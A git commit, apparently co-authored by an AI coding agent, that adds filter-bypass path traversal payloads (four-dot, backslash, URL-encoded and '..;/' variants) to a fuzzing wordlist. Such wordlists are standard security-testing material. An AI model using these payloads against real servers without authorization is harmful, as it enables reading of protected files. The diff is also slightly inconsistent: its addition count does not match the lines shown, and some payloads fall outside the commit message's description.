Add four-dot traversal bypass payloads to deep_traversal.txt

Add ....//, ....\\, and URL-encoded variants to cover filter normalization bypasses where ../ is stripped but ....// resolves to a parent directory traversal. Co-authored-by: Cursor <cursoragent@cursor.com>
2026-07-28 14:47:32 -07:00 · 2026-07-15 04:46:27 +03:30
parent 5443cbde38
commit 4a4a7dd818
1 changed files with 25 additions and 0 deletions
@@ -6,6 +6,31 @@
 ../../../../../../{FILE}
 ../../../../../../../{FILE}
 ../../../../../../../../{FILE}
 ....//{FILE}
 ....//....//{FILE}
 ....//....//....//{FILE}
 ....//....//....//....//{FILE}
 ....//....//....//....//....//{FILE}
 ....\\{FILE}
 ....\\....\\{FILE}
 ....\\....\\....\\{FILE}
 ....\\....\\....\\....\\{FILE}
 ....\\....\\....\\....\\....\\{FILE}
 ....%2f%2f{FILE}
 ....%2f%2f....%2f%2f{FILE}
 ....%2f%2f....%2f%2f....%2f%2f{FILE}
 ....%2f%2f....%2f%2f....%2f%2f....%2f%2f{FILE}
 ....%2f%2f....%2f%2f....%2f%2f....%2f%2f....%2f%2f{FILE}
 %2e%2e%2e%2e%2f%2f{FILE}
 %2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f{FILE}
 %2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f{FILE}
 %2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f{FILE}
 %2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f{FILE}
 %2e%2e%2e%2e//{FILE}
 %2e%2e%2e%2e//%2e%2e%2e%2e//{FILE}
 %2e%2e%2e%2e//%2e%2e%2e%2e//%2e%2e%2e%2e//{FILE}
 %2e%2e%2e%2e//%2e%2e%2e%2e//%2e%2e%2e%2e//%2e%2e%2e%2e//{FILE}
 %2e%2e%2e%2e//%2e%2e%2e%2e//%2e%2e%2e%2e//%2e%2e%2e%2e//%2e%2e%2e%2e//{FILE}
 ..;/{FILE}
 ..;/..;/{FILE}
 ..;/..;/..;/{FILE}